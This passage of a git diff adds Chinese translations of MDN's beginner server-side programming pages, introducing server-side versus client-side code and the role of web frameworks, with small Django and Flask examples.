<dd>欢迎来到MDN提供的初学者服务端编程课程!在我们第一篇文章中,我们从一个很高的角度来审视服务端编程,回答的问题都是类似于:什么是服务端编程?它与客户端编程的区别在哪?以及为什么它如此有价值?在阅读本文之后,你将通过服务端编程了解更多关于网站开发的知识。</dd> + <dt><a href="/zh-CN/docs/learn/Server-side/First_steps/Client-Server_overview">客户端编程回顾</a></dt> + <dd>现在你应该了解服务端编程的目的以及它可能带来的好处,我们现在要去探究一些细节,当服务端接收到浏览器的“动态请求”时,到底发生了什么。大多数服务端代码都是用相似的方式来处理请求以及应答,这一点将帮助你更好地明白在编写你自己的代码时,你到底需要做些什么。</dd> + <dt><a href="/zh-CN/docs/learn/Server-side/First_steps/Web_frameworks">服务端web框架</a></dt> + <dd>最后一篇文章将会介绍当服务端web程序为了响应web浏览器发出的请求,它需要做些什么。现在我们来看看web框架是如何简化这些任务的,除此之外,本文还将帮助你为你自己的第一个服务端web程序选择一个合适的框架。</dd> + <dt><a href="/zh-CN/docs/learn/Server-side/First_steps/Website_security">网站安全性</a></dt> + <dd>在网站的设计与使用过程中,网站安全在方方面面都需要引起警惕。这篇引导性的文章不会让你成为网站安全方面的专家,但是它能够帮你了解为了强化你的web应用用以抵抗大多数常见的威胁时,你应该做的第一件重要的事是什么。</dd> +</dl> + +<h2 id="评估">评估</h2> + +<p>这块“概览性”的内容并不会有任何评估练习,因为我们至今还没向你展示一句代码。我们确切地希望到了这里,你已经对服务端编程提供的各种功能有了一个很好的理解,并且已经为创建你自己的第一个web站点选好了合适的web框架。</p> diff --git a/files/zh-cn/learn/server-side/first_steps/introduction/index.html b/files/zh-cn/learn/server-side/first_steps/introduction/index.html new file mode 100644 index 0000000000..7f6a05f4e0 --- /dev/null +++ b/files/zh-cn/learn/server-side/first_steps/introduction/index.html @@ -0,0 +1,239 @@ +--- +title: 服务端编程介绍 +slug: learn/Server-side/First_steps/Introduction +tags: + - 介绍 + - 初学者 + - 向导 + - 学习 + - 服务 + - 服务器端编程 + - 服务端编程 +translation_of: Learn/Server-side/First_steps/Introduction +--- +<div> +<div></div> + +<div>{{NextMenu("Learn/Server-side/First_steps/Client-Server_overview", "Learn/Server-side/First_steps")}}</div> +</div> + +<p class="summary">欢迎来到MDN为初学者准备的服务器端编程课程!在第一篇文章里面我们将会从一个较高的角度来看待服务器端编程,通过解答下面这些问题来实现这一点,比如:服务器端编程是什么?服务器端编程和客户端编程有何不同?还有,为什么服务器端编程这么有用?当你读完这篇文章后,你会理解通过服务器端编程实现的网站所能提供的额外的功能。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">先决条件:</th> + <td>基础电脑知识、对“网络服务器是什么”的基本理解</td> + </tr> + <tr> + <th scope="row">目标:</th> + <td>熟悉服务器端编程是什么,它可以做什么,它和客户端编程的区别</td> + </tr> + </tbody> +</table> + +<p>大多数的大型网站采用服务器端编程来在需要的时候动态展示不同的信息,这些信息通常会从服务器上的数据库中取出,然后发送给客户端,并通过一些代码(比如HTML和Javascript)展示在客户端。</p> + +<p>或许服务器端编程的最大益处在于它允许你对不同的用户个体展示不同的网站信息。动态网站可以高亮基于用户喜好和习惯的与用户相关度更高的内容。通过存储用户的偏好设置和个人信息使得网站更加易于使用——比如通过重复使用信用卡的详细信息来简化后续付款流程。</p> + +<p>它允许在页面中与用户进行交互,比如通过邮件或者其他渠道发送通知和更新信息。服务器端的所有的这些能力使得网站可以与用户有更深的联系。</p> + +<p>在现代的web开发中,学习服务器端编程是很被推荐的。</p> + +<h2 id="服务器端编程是什么?">服务器端编程是什么?</h2> + +<p>网络浏览器通过<strong>超文本传输协议</strong> ({{glossary("HTTP")}})来和<a href="/zh-CN/docs/Learn/Common_questions/What_is_a_web_server">网络服务器</a> 进行通信。当你在网页上点击一个链接,或提交一个表单,再或进行一次搜索时,一个<strong>HTTP请求</strong>就从你的浏览器发送到了目标服务器。</p> + +<p>这个请求包括一个标识所请求资源的URL,一个定义所需操作的方法(比如获取,删除或者发布资源),还可以包括编码在URL参数中的附加信息。附加信息以键值对(参数和它的值)的形式,通过一个<a href="https://en.wikipedia.org/wiki/Query_string">查询字符串</a>,作为POST数据(由<a href="/zh-CN/docs/Web/HTTP/Methods/POST">HTTP POST方法</a>发送)或存放在与之相关联的{{glossary("Cookie")}}中。</p> + +<p>网络服务器等待客户端的请求信息,在它们到达的时候处理它们,并且回复网络浏览器一个<strong>HTTP响应</strong>信息。这个响应包含一个表明该请求是否成功的状态行(比如“HTTP/1.1 200 OK”代表请求成功)。</p> + +<p>相应一个请求的成功回应包含被请求的资源(比如一个新的HTML页面,或者图片等),然后这些会被展示在客户端的网络浏览器上。</p> + +<h3 id="静态网站">静态网站</h3> + +<p>下面这张图展示了一个<em>静态网站</em>的基本架构。(静态网站是指无论何时当一个特定资源被请求的时候都返回相同的被硬编码的内容)当用户想要导航到某个页面时,浏览器会发送一个指定到这个页面的URL的HTTP“GET”请求。服务器从它的文件系统中检索被请求的文件,然后返回一个HTTP回应,该回应包括被请求的文件和一个<a href="/en-US/docs/Web/HTTP/Status#Successful_responses">状态码</a>(通常200代表操作成功)。如果出于某些原因被请求的文件无法检索到,就会返回错误码。(具体可以参照<a href="/zh-CN/docs/Web/HTTP/Status#Client_error_responses">客户端错误回应</a>和<a href="/zh-CN/docs/Web/HTTP/Status#Server_error_responses">服务器错误回应</a>)</p> + +<p><img alt="A simplified diagram of a static web server." src="https://mdn.mozillademos.org/files/13841/Basic%20Static%20App%20Server.png" style="height: 223px; width: 800px;"></p> + +<h3 id="动态网站">动态网站</h3> + +<p>动态网站是指,一些响应内容只有在被需要的时候才会生发的网站。在一个动态网站上,页面通常是通过将数据库的数据植入到HTML模板中的占位符中而产生的(这是一种比使用静态网站有效得多的存储大量内容的方式)。</p> + +<p>动态网站可以基于用户提供的个人信息或者偏好设置来返回不同的数据,并且可以展示作为返回一个回应的内容的一部分的其他操作(比如发送通知)。</p> + +<p>大多数支持动态网站的代码必须运行在服务器上。编写这些代码就是所谓的“<strong>服务器端编程</strong>”(有些时候也称“后端脚本编写”)。</p> + +<p>下面的图表展示了一个动态网站的简单架构。就像之前的图表那样,浏览器发送HTTP请求给服务器,然后服务器处理请求并且返回合适的HTTP响应。</p> + +<p>动态网站对于静态资源的请求的处理方式和静态网站是一样的(静态资源是指那些不会改变的文件——最典型的就是:CSS,Javascript,图片,预先生成的PDF文件等)。</p> + +<p><img alt="A simplified diagram of a web server that uses server-side programming to get information from a database and construct HTML from templates. This is the same diagram as is in the Client-Server overview." src="https://mdn.mozillademos.org/files/13839/Web%20Application%20with%20HTML%20and%20Steps.png"></p> + +<p>对于动态资源的请求则会指向(2)服务器端代码(在图中显示为<em>Web Application</em>(网络应用))。在处理“动态请求”时,服务器会首先解释请求,从数据库中读取被请求的信息,然后将这些被检索的信息组合到HTML模板中(4),最后返回一个包含所生成的HTML页面的回应(5,6)。</p> + +<div> +<h2 id="服务器端编程和客户端编程是一样的吗?">服务器端编程和客户端编程是一样的吗?</h2> +</div> + +<p>让我们将注意力转向涉及服务器端编程和客户端编程的代码。在每一个情况下,代码都是显然不同的:</p> + +<ul> + <li>它们有不同的目的和关注点。</li> + <li>它们通常不会使用相同的编程语言(Javascript是一个特例,它既可以被用在服务器端也可以被用在客户端)。</li> + <li>它们在不同的操作系统环境中运行。</li> +</ul> + +<p>在浏览器端运行的代码被称为<strong>客户端代码</strong>,并且主要涉及所呈现的网页的外观和行为的改进。这就包括选择和设计UI元素、布局、导航、表单验证等。相反的,服务器端网站编程主要涉及,对于相应的请求,选择所要返回给浏览器的内容。服务器端代码解决这样一些问题,比如验证提交的数据和请求、使用数据库来存储和检索信息及发送给用户正如他们所请求的的正确内容。</p> + +<p>客户端代码使用 <a href="/zh-CN/docs/Learn/HTML">HTML</a>,<a href="/zh-CN/docs/Learn/CSS">CSS</a>,和<a href="/zh-CN/docs/Learn/JavaScript">JavaScript</a> 来编写——这些代码直接在网络浏览器中运行,并且几乎没有访问底层操作系统的路径(包括对文件系统访问的限制)。</p> + +<p>web开发者无法控制用户可能会使用哪一种浏览器来浏览网站——浏览器对客户端代码的兼容性支持水平不一致,客户端编程的一部分挑战就是如何优雅地处理浏览器兼容性问题。</p> + +<p>服务器端代码可以用任何一种编程语言进行编写——比较受欢迎的服务器端编程语言包括PHP、Python、Ruby和C#。服务器端代码有充分的权限访问服务器的操作系统,并且开发者可以选择他们希望使用的编程语言(和特定版本的语言)。</p> + +<p>开发者们通常会使用web框架来编写他们的代码。web框架是一个各种函数、对象、方法和其他代码结构的集合体,web框架被设计用来解决一些普遍问题,从而加速开发,并且简化在一个特定领域中面临的不同类型的任务。</p> + +<p>同样的,当客户端和服务器端代码使用框架时,它们的领域是不同的,因此框架也会不同。客户端web框架简化布局和演示任务,然而服务器端web框架提供大量的普通网络服务功能,不然的话你可能需要自己来实现这些功能(比如支持会话、支持用户和身份验证、简单的数据访问、模板库等)。</p> + +<div class="note"> +<p><strong>注意事项</strong>:客户端框架通常被用来帮助加速客户端代码的开发,但是你也可以选择手写所有的代码;事实上,如果你只需要一个小型的、简单的网站UI,手写自己的代码可能更快并且更高效。</p> + +<p>相反的,你应该从来没有考虑过不使用框架而直接编写web应用程序的服务器端组件——实现一个重要的功能比如HTTP服务器真的很难直接从头开始用Python语言构建,但是一些用Python语言写的web框架,比如Django提供了开箱即用的功能,同时还包含其他很多有用的工具。</p> +</div> + +<div> +<h2 id="你可以在服务器端做什么?">你可以在服务器端做什么?</h2> + +<p>服务器端编程是非常有用的,因为它允许我们高效地分发为个人用户制定的信息,从而创造了更佳的用户体验。</p> +</div> + +<p>一些公司比如亚马逊使用服务器端编程来生成产品的搜索结果、根据客户的偏好和过去的购买习惯来推荐目标产品、简化购物流程等。</p> + +<p>银行使用服务器端编程来存储帐号信息,并且仅允许授权的用户查看和进行交易。其他的网络服务,比如Facebook、Twitter、Instagram、和Wikipedia,使用服务器端编程来突出、分享和控制对有趣内容的访问。</p> + +<p>服务器端编程的普遍使用和好处被罗列在了下方。你会发现二者有一些是重叠的!</p> + +<h3 id="信息的高效存储和传输">信息的高效存储和传输</h3> + +<p>想象一下,在亚马逊上提供着多少产品,在脸书上发布了多少帖子?为每一个产品和帖子都创建一个独立的静态页面将是完全不切实际的。</p> + +<p>服务器端网络编程则允许我们在数据库中存储信息,并且允许我们动态地创建和返回HTML和其他类型的文件(比如,PDF文件和图片等)。我们也可以简单地传输数据 ({{glossary("JSON")}}, {{glossary("XML")}}等),来让合适的客户端框架呈现(这样就减少了服务器的处理压力和需要被传输的数据总量)。</p> + +<p>服务器的工作内容不仅限于从数据库发送信息,可能还会选择性地返回软件工具的结果,或者来自聊天服务的数据。内容甚至可以被定位到接受它的信息的客户端设备的类型。</p> + +<p>因为数据被放在数据库中,因此更加容易被分享和更新到其他商业系统(比如,当产品在网上或者实体店卖掉之后,商店可以更新它的存货清单数据库)</p> + +<div class="note"> +<p><strong>注意</strong>:你不用很难就可以想到服务器端代码对于高效存储和传输信息的好处:</p> + +<ol> + <li>打开<a href="https://www.amazon.com">亚马逊</a>或者其他一些电子商务网站。</li> + <li>搜索一系列关键词,然后注意到页面结构并没有发生改变,尽管搜索结果发生了改变。</li> + <li>打开两到三个不同的产品。注意到它们是如何拥有一个相似的结构和布局的,但是不同产品的内容是从不同数据库中获取的。</li> +</ol> + +<p>对于一个普通的搜索词条(比如“鱼”),你会看到数百万的返回值。使用数据库允许这些数据被高效地存储和分享,并且使得信息的展示就被控制在那一个特定的地方。</p> +</div> + +<h3 id="定制用户体验">定制用户体验</h3> + +<p>服务器可以存储和使用客户的相关信息来提供一个定制化的用户体验。比如,很多网站存储信用卡信息来使得用户不必再次输入细节信息。有些网站,比如,谷歌地图使用家庭或者当前位置来提供路径信息,然后在搜索结果中突出本地商业。</p> + +<p>对用户习惯的更深层分析可以被用来预测用户的兴趣和更加深度地定制化回应和通知,比如,提供一张清单来展示曾经去过的地方,或者在地图上标识你可能想去的非常受欢迎的地点。</p> + +<div class="note"> +<p><strong>注意</strong>:谷歌地图会保存你的搜索,浏览的历史记录。频繁地浏览或者频繁地搜索地址将会使得它更加的醒目。</p> + +<p>谷歌搜索结果基于之前的搜索进行优化。</p> + +<p>1.访问谷歌搜索</p> + +<p>2.搜索 “足球”</p> + +<p>3.现在在搜索框中输入 “喜欢” ,你就会观察到搜索会自动补全</p> + +<p>真的是巧合嘛?这算不上什么!</p> +</div> + +<h3 id="控制对内容的访问">控制对内容的访问</h3> + +<p>服务器端编程允许网站限制合法用户的权限,并且只提供用户被允许查看的信息。</p> + +<p>真实世界的例子有:</p> + +<ul> + <li>社交网站,比如Facebook允许用户完全控制他们自己的数据,但是只允许他们的朋友和家人查看和评论这些数据。用户决定谁可以看到他们的数据,并且通过扩展,决定谁的数据出现在他们的反馈里面——授权是用户体验里面的一个核心部分!</li> + <li> + <p>此时此刻您所访问的网站也控制着内容访问:文章对所有人都是可视的,但是只有已经登录的用户可以编辑内容。为了试验一下,你可以点击一下页面上方的<strong>编辑</strong>按钮——如果你已经登录了的话,将会展示出编辑界面;如果你还没有登录,你会被导航到注册界面。</p> + </li> +</ul> + +<div class="note"> +<p><strong>注意</strong>:想想其他真实的限制了内容访问例子。比如,如果你直接访问你银行的网页,你可以看到什么?用你的帐号登录之后——你可以看到和修改什么额外的信息呢?有些什么信息是你只可以看到的而只有银行可以修改的?</p> +</div> + +<h3 id="存储会话和状态信息">存储会话和状态信息</h3> + +<p>服务器端编程允许开发者们充分利用<strong>会话</strong>——简单来说就是一种机制,这种机制允许服务器存储一个网站现有用户信息,并且基于那些信息发送不同响应。</p> + +<p>这也就允许,比如说,一个网站知道一个用户曾经登录过并且展示他们邮箱的链接或者订单历史,或者可能存储一个简单游戏的状态来确保用户可以再次访问网站然后从上次留下来的地方继续。</p> + +<div class="note"> +<p><strong>注意</strong>:访问一个具有订阅模式的新闻网站,并且打开一系列标签(比如<a href="http://www.theage.com.au/">The Age</a>)。几个小时或者几天之后再来访问这个网站。最后你将开始被重定向到一个向你解释如何订阅的页面上,并且你将无法访问文章。这个信息就是一个session信息被存储在cookie中的例子</p> +</div> + +<h3 id="通知和通讯">通知和通讯</h3> + +<p>服务器可以发送面向全体的或者面向指定用户的通知,通过网站自身或者通过邮箱、SMS、即时消息、视频会话或者其他的通讯服务。</p> + +<p>几个例子:</p> + +<ul> + <li> + <p>Facebook和Twitter发送邮件或者SMS消息来通知你一些新的交谈。</p> + </li> + <li> + <p>亚马逊定期的向你发送产品邮件并且向你推荐和你曾经买过的产品很相似的产品或者是他们觉得你可能感兴趣的产品。</p> + </li> + <li>一个网站的服务器可能向网站管理员发送警告消息来警告他们服务器内存不足或者可疑的用户行为。</li> +</ul> + +<div class="note"> +<p><strong>注意</strong>:最普通的一种通知类型就是“注册认证”。选择任何一个你感兴趣的大型网站(谷歌、亚马逊、Instagram等)并且用你的邮箱创建一个新的帐号。你很快会收到一封验证你的注册的邮件,或者需要你去激活帐号。</p> +</div> + +<h3 id="数据分析">数据分析</h3> + +<p>一个网站可以收集到有关用户的大量的信息:他们搜索什么?他们买什么?他们分享什么?他们在每一个页面停留多久?服务器端编程可以被用来基于这些数据的分析而细化回应。</p> + +<p>比如,亚马逊和谷歌都基于过去的搜索(和购物)信息来为产品打广告。</p> + +<div class="note"> +<p><strong>注意</strong>:如果你使用Facebook,去看看你的main feed,然后看一下帖子流。注意到其中一些帖子不是按照数字进行排列的-拥有更多“喜欢”的帖子在列表中通常高于最近的帖子。</p> + +<p>也可以看一下你收到的广告是什么类型的——你或许会看到你在其他网站查看的商品。Facebook为突出内容和广告的算法或许还很令人疑惑,但是很明显的,它是依据你的喜好、品味和习惯的!</p> +</div> + +<h2 id="总结">总结</h2> + +<p>恭喜,你已经看到了第一篇有关服务器端编程的文章的结尾处。</p> + +<p>你已经了解到的就是,服务器端代码在服务器上运行,它的主要角色是控制什么信息应该发送给用户(然而客户端代码只要解决给用户的数据的结构和展示)。</p> + +<p>你也应该理解服务器端代码是非常有用的,因为它允许我们创建,可以高效地向个体用户传输定制化的信息的,网站。另外,你还应该知道当你是一个服务器端程序员时可能能够做的一些事情。</p> + +<p>最后你应该理解服务器端代码可以用很多种编程语言进行编写,并且你应该使用一个web框架来使得这个过程更加容易一点。</p> + +<p>在接下来的文章中我们会帮助你选择一个对于你的第一个网站来说最好的web框架;但是,再接下来我们稍微详细一点地带你过一遍主要的客户端-服务器交互行为。</p> + +<p>{{NextMenu("Learn/Server-side/First_steps/Client-Server_overview", "Learn/Server-side/First_steps")}}</p> + +<h2 id="在这个模块中">在这个模块中</h2> + +<ul> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/First_steps/Introduction">Introduction to the server side</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/First_steps/Client-Server_overview">Client-Server overview</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/First_steps/Web_frameworks">Server-side web frameworks</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/First_steps/Website_security">Website security</a></li> +</ul> diff --git a/files/zh-cn/learn/server-side/first_steps/web_frameworks/index.html b/files/zh-cn/learn/server-side/first_steps/web_frameworks/index.html new file mode 100644 index 0000000000..47b23da420 --- /dev/null +++ b/files/zh-cn/learn/server-side/first_steps/web_frameworks/index.html @@ -0,0 +1,298 @@ +--- +title: 服务端web框架 +slug: learn/Server-side/First_steps/Web_frameworks +tags: + - web框架 + - 介绍 + - 初学者 + - 学习 + - 指导 + - 服务器 + - 服务器端编程 + - 编码 +translation_of: Learn/Server-side/First_steps/Web_frameworks +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenuNext("Learn/Server-side/First_steps/Client-Server_overview", "Learn/Server-side/First_steps/Website_security", "Learn/Server-side/First_steps")}}</div> + +<p class="summary">前面的文章向你展示了web客户端和服务器之间的通信是什么样子的,HTTP的请求和回应之间的性质,以及服务器端应用为了回应来自web浏览器的请求的需要做的事情。有了这些知识后,现在是时候来探索一个web框架是如何简化这些任务的,并且告诉你应该如何为你的第一个服务器端应用选择一个框架。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">预先要求:</th> + <td>基础电脑素养。对于服务器端代码是如何处理并响应HTTP请求有深刻的理解。(参见<a href="/en-US/docs/Learn/Server-side/First_steps/Client-Server_overview">Client-Server overview</a>)</td> + </tr> + <tr> + <th scope="row">目标:</th> + <td>理解web框架是如何简化服务器端代码的开发和维护的,并且帮助读者思考如何为他们自己的开发项目选择一个框架。</td> + </tr> + </tbody> +</table> + +<p>下面的部分通过使用一些来自web框架的代码段来说明一些要点。如果不能完全看懂代码也不用太在意。我们在“框架详解”模块会帮助你完全理解。</p> + +<h2 id="概览">概览</h2> + +<p>服务器端框架(亦称 "web 应用框架") 使编写、维护和扩展web应用更加容易。它们提供工具和库来实现简单、常见的开发任务, 包括 路由处理, 数据库交互, 会话支持和用户验证, 格式化输出 (e.g. HTML, JSON, XML), 提高安全性应对网络攻击.</p> + +<p>下一节将详细介绍web框架如何简化web应用程序开发。然后,我将阐述一些选择web框架的标准,并给你列出一些选项。</p> + +<h2 id="web框架可以为你做什么?">web框架可以为你做什么?</h2> + +<p>你并不是必须得使用一个服务器端的web框架,但是我们强烈建议你使用框架——框架会使得你的生活更美好。</p> + +<p>这个部分我们讲一下web框架通常会提供的功能(并不是说每一个框架一定会提供下面的所有功能!)</p> + +<h3 id="直接处理_HTTP_请求和响应">直接处理 HTTP 请求和响应</h3> + +<p>从上一篇文章中我们知道,web服务器和浏览器通过HTTP协议进行通信——服务器等待来自浏览器的HTTP请求然后在HTTP回应中返回相关信息。web框架允许你编写简单语法的代码,即可生成处理这些请求和回应的代码。这意味着你的工作变得简单、交互变得简单、并且使用抽象程度高的代码而不是底层代码。</p> + +<p>每一个“view”函数(请求的处理者)接受一个包含请求信息的<code>HttpRequest</code>对象,并且被要求返回一个包含格式化输出的<code>HttpResponse</code>(在下面的例子中是一个字符串)。</p> + +<pre class="brush: python"># Django view function +from django.http import HttpResponse + +def index(request): + # Get an HttpRequest (request) + # perform operations using information from the request. + # Return HttpResponse + return HttpResponse('Output string to return') +</pre> + +<h3 id="将请求路由到相关的handler中">将请求路由到相关的handler中</h3> + +<p>大多数的站点会提供一系列不同资源,通过特定的URL来访问。如果都放在一个函数里面,网站会变得很难维护。所以web框架提供一个简单机制来匹配URL和特定处理函数。这种方式对网站维护也有好处,因为你只需要改变用来传输特定功能的URL而不用改变任何底层代码。</p> + +<p>不同的框架使用不同机制进行匹配。比如Flask(Python)框架通过使用装饰器来增加视图的路由。</p> + +<pre class="brush: python">@app.route("/") +def hello(): + return "Hello World!"</pre> + +<p>然而,Django则期望开发者们定义一张URL pattern和视图函数URL的匹配列表。</p> + +<pre class="brush: python">urlpatterns = [ + url(r'^$', views.index), + # example: /best/myteamname/5/ + url(r'^(?P<team_name>\w.+?)/(?P<team_number>[0-9]+)/$', views.best), +] +</pre> + +<h3 id="使从请求中获得数据变得简单">使从请求中获得数据变得简单</h3> + +<p>数据在HTTP请求中的编码方式有很多种。一个从服务器获得文件或者数据的HTTP <code>GET</code>请求可能会按照URL参数中要求的或者URL结构中的方式进行编码。一个更新服务器上数据的HTTP <code>POST</code>请求则会在请求主体中包含像“POST data”这样的更新信息。HTTP请求也可能包含客户端cookie中的即时会话和用户信息。</p> + +<p>web框架提供一个获得这些信息的适合编程语言的机制。比如,Django传递给视图函数的<code>HttpRequest</code>对象包含着获得目标URL的方式和属性、请求的类型(比如一个HTTP <code>GET</code>)、<code>GET</code>或者<code>POST</code>参数、cookie或者session数据等等。Django也可以通过在URL匹配表中定义“抓取模式”来在URL结构中传递编码了的信息(如上面的编码片段中的最后一行)。</p> + +<h3 id="抽象和简化数据库接口">抽象和简化数据库接口</h3> + +<p>网站使用数据库来存储与用户分享的信息和用户个人信息。web框架通常会提供一个数据库层来抽象数据库的读、写、查询和删除操作。这一个抽象层被称作对象关系映射器(ORM)。</p> + +<p>使用对象关系映射器有两个好处:</p> + +<ul> + <li>你不需要改变使用数据库的代码就可以替换底层数据库。这就允许开发者依据用途优化不同数据库的特点。</li> + <li>简单的数据的验证可以被植入到框架中。这会使得检查数据是否按照正确的方式存储在数据库字段中或者是否是特定的格式变得简单(比如邮箱地址),并且不是恶意的(黑客可以利用特定的编码模式来进行一些如删除数据库记录的非法操作)。</li> +</ul> + +<p>比如,Django框架提供一个对象关系映射,并且将用来定义数据库记录的结构称作模型。模型制定被存储的字段类型,可能也会提供那些要被存储的信息的验证(比如,一个email字段只允许合法email地址)。字段可能也会指明最大信息量、默认值、选项列表、帮助文档、表单标签等。这个模型不会申明任何底层数据库的信息,因为这是一个只能被我们的代码改变的配置信息。</p> + +<p>下面第一个代码片段展示了一个简单的为<code>Team</code>对象设计的Django模型。这个模型会使用字符字段来存储一个队伍的名字和级别,同时还指定了用来存储每一条记录的最大字符数量。<code>team_level</code>是一个枚举字段,所以我们也提供了一个被存储的数据和被展示出来的选项之间的匹配,同时指定了一个默认值。</p> + +<pre class="brush: python">#best/models.py + +from django.db import models + +class Team(models.Model): + team_name = models.CharField(max_length=40) + + TEAM_LEVELS = ( + ('U09', 'Under 09s'), + ('U10', 'Under 10s'), + ('U11, 'Under 11s'), + ... #list our other teams + ) + team_level = models.CharField(max_length=3,choices=TEAM_LEVELS,default='U11') +</pre> + +<p>Django模型提供了简单的搜索数据库的查询API。这可以通过使用不同标准来同时匹配一系列的字段(比如精确、不区分大小写、大于等等),并且支持一些复杂的陈述(比如,你可以指定在U11水平的队伍中搜索队伍名字中以“Fr”开头或者“al”结尾的队伍)。</p> + +<p>第二个代码片段展示了一个视图函数(资源处理器),这个视图函数用来展示所有U09水平的队伍——通过指明过滤出所有<code>team_level</code>字段能准确匹配'U09'的队伍(注意过滤规则如何传递给<code>filter( )</code>,它被视为一个变量:<code>team_level__exact</code>,由字段名、匹配类型和分隔它们的双重下划线组成)。</p> + +<pre class="brush: python">#best/views.py + +from django.shortcuts import render +from .models import Team + +def youngest(request): + <strong>list_teams = Team.objects.filter(team_level__exact="U09")</strong> + context = {'youngest_teams': list_teams} + return render(request, 'best/index.html', context) +</pre> + +<dl> +</dl> + +<h3 id="渲染数据">渲染数据</h3> + +<p>web框架经常提供模板系统。这些允许你制定输出文档的结构,使用为那些数据准备的将在页面生成时添加进去的占位符。模板经常是用来生成HTML的,但是也可以用来生成一些其他的文档。</p> + +<p>框架提供一个机制,使得从存储的数据中生成其他格式数据变得简单,包括{{glossary("JSON")}}和{{glossary("XML")}}。</p> + +<p>比如,Django模板允许你通过使用“双重花括号”(如<code>{</code><code>{ <em>variable_name</em> </code><code>}</code><code>}</code>)来指定变量,当页面被渲染出来时,这些变量会被从视图函数传递过来的值代替。模板系统也会提供表达支持(通过语法<code>{% <em>expression</em> %}来实现</code>),这样就允许模板进行一些简单的操作比如迭代传递给模板的值列表。</p> + +<div class="note"> +<p><strong>Note</strong>: 很多其他的模板系统使用相似的语法,比如:Jinja2 (Python), handlebars (JavaScript), moustache (JavaScript), 等。</p> +</div> + +<p>下面的代码片段展示了它们如何工作的。下面的内容接着从上一个部分而来的“youngest team”实例,HTML模板通过视图函数传进一个叫做youngest_teams的值列表。在HTML骨架中我们有一个初步检查youngest_teams变量是否存在的表示,然后会在for循环里面进行迭代。在每一次迭代中模板会以列表元素的形式展示队伍的team_name值。</p> + +<pre class="brush: html">#best/templates/best/index.html + +<!DOCTYPE html> +<html lang="en"> +<body> + + {% if youngest_teams %} + <ul> + {% for team in youngest_teams %} + <li>\{\{ team.team_name \}\}</li> + {% endfor %} + </ul> +{% else %} + <p>No teams are available.</p> +{% endif %} + +</body> +</html> +</pre> + +<h2 id="如何选择一个web框架">如何选择一个web框架</h2> + +<p>几乎对于你想要使用的每一种语言都有大量的web框架(我们在下面的部分列举了一些比较受欢迎的框架)。有这么多选择,导致很难决定选择哪个框架为你的新web应用提供最好的开端。</p> + +<p>一些影响你决定的因素有:</p> + +<ul> + <li><strong>学习代价</strong>:学习一个web框架取决于你对底层语言的熟悉程度,它的API的一致性与否,文档质量,社区的体量和活跃程度。如果你完全没有编程基础的话,那就考虑Django吧(它是基于上面几条标准来看最容易学习的了)。如果你已经成为开发团队的一部分,而那个开发团队对某一种语言或者某一个框架有着很重要的开发经历,那么就坚持相关框架。</li> + <li><strong>效率</strong>:效率是指一旦你熟悉某一个框架之后,你能够多块地创造一个新功能的衡量方式,包括编写和维护代码的代价(因为当前面的功能崩掉之后,你没法编写新的功能)。影响效率的大多数因素和学习代价是类似的——比如,文档,社区,编程经历等等。——其他因素还有: + <ul> + <li>框架目的/起源:一些框架最初是用来解决某一类特定问题的,并且最好在生成app的时候顾及到这些约束。比如,Django是用来支持新闻网站的,因此非常适合博客或者其他包含发布内容的网站。相反的,Flask是一个相对来说轻量级的框架,因此适合用来生成一些在嵌入式设备上运行的app。</li> + <li><em>Opinionated vs unopinionated</em>:一个opinionated的框架是说,解决某一个特定问题时,总有一个被推荐的最佳的解决方法。opinionated的框架在你试图解决一些普通问题的时候,更加趋向于产品化,因为它们会将你引入正确的方向,尽管有些时候并不那么灵活。</li> + <li>一些web框架默认地包含了开发者们能遇到的任何一个问题的工具/库,而一些轻量级的框架希望开发者们自己从分离的库中选择合适的解决方式(Django是其前者的一个实例,而Flask则是轻量级的一个实例)。包含了所有东西的框架通常很容易上手因为你已经有了你所需要的任何东西,并且很可能它已经被整合好了,并且文档也写得很完善。然而一个较小型的框架含有你所需要(或者以后需要)的各种东西,它将只能在受更多限制的环境中运行,并且需要学习更小的、更简单的子集学习。</li> + <li>是否选择一个鼓励良好开发实例的框架:比如,一个鼓励 <a href="/en-US/docs/Web/Apps/Fundamentals/Modern_web_app_architecture/MVC_architecture">Model-View-Controller</a> 结构来将代码分离到逻辑函数上的框架将会是更加易于维护的代码,想比与那些对开发者没有此期待的框架而言。同样的,框架设计也深刻影响了测试和重复使用代码的难易程度。</li> + </ul> + </li> + <li><strong>框架/编程语言的表现:</strong> 通常来讲,“速度”并不是选择中最重要的因素,甚至,相对而言,运行速度很缓慢的Python对于一个在中等硬盘上跑的中等大小的网站已经足够了。其他语言(C++/Javascript)的明显的速度优势很有可能被学习和维护的代价给抵消了。</li> + <li><strong>缓存支持:</strong>当你的网站之间变得越来越成功之后,你可能会发现它已经无法妥善处理它收到的大量请求了。在这个时候,你可能会开始考虑添加缓存支持。缓存是一种优化,是指你将全部的或者大部分的网站请求保存起来,那么在后继请求中就不需要重新计算了。返回一个缓存请求比重新计算一次要快得多。缓存可以被植入你的代码里面,或者是服务器中(参见<a href="https://en.wikipedia.org/wiki/Reverse_proxy">reverse proxy</a>)。web框架对于定义可缓存内容有着不同程度的支持。</li> + <li><strong>可扩展性:</strong>一旦你的网站非常成功的时候,你会发现缓存的好处已经所剩无几了,甚至垂直容量到达了极限(将程序运行在更加有力的硬件上面)。在这个时候,你可能需要水平扩展(将你的网站分散到好几个服务器和数据库上来加载)或者“地理上地”扩展, 因为你的一些客户距离你的服务器很远。你所选择的框架将会影响到扩展你的网站的难易程度。</li> + <li><strong>网络安全:</strong>一些web框架对于解决常见的网络攻击提供更好的支持。例如,Django消除所有用户从HTML输入的东西。因此从用户端输入的Javascript不会被运行。其他框架也提供相似的功能,但是通常在默认情况下是不直接开启的。</li> +</ul> + +<p>可能还有其他一些原因,包括许可证、框架是否处于动态发展过程中等等。</p> + 